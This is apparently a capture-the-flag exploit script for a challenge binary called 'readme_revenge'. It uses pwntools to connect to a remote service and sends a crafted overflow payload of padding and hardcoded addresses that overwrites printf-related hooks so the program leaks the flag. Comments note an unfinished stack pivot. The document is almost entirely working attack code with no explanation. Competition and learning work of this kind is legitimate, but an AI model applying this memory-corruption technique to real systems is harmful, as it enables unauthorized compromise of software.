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#!/usr/bin/python | |
from pwn import * | |
p = remote("35.198.130.245", 1337) | |
#p = process("./readme_revenge") | |
raw_input() | |
#name = "A"*920 | |
name = p64(0x00) # Pass NULL Check. | |
name += "XXXX" | |
name += p64(0x0) | |
name += p64(0x6b4040) | |
name += "B"*24 | |
#name = name.ljust(920,"C") | |
name += "C"*316 | |
name += p64(0x46b980) # dlscope_free | |
#name += "X"*8 # RIP Control ; call rax in __printf_arginfo ; | |
name = name.ljust(920,"C") | |
# NEED to somehow pivot --> either control RCX or call other hook function. | |
print str(len(name)) | |
name += p64(0x46b980) # NULL Check # YES | |
name += "D"*160 | |
name += p64(0x6b4040) # N | |
name += "D"*(512-168) | |
name += p64(0x6b73f4) # N | |
name = name.ljust(1608,"G") | |
name += p64(0x6b4040)*2 # NULL Check | |
name += "E"*104 | |
name += "F"*8 | |
name += p64(0x6b73e0) | |
#name += p64(0x6b4040) # NULL Check | |
name += "X"*40 | |
p.sendline(name) | |
# Error message prints flag | |
p.interactive() |
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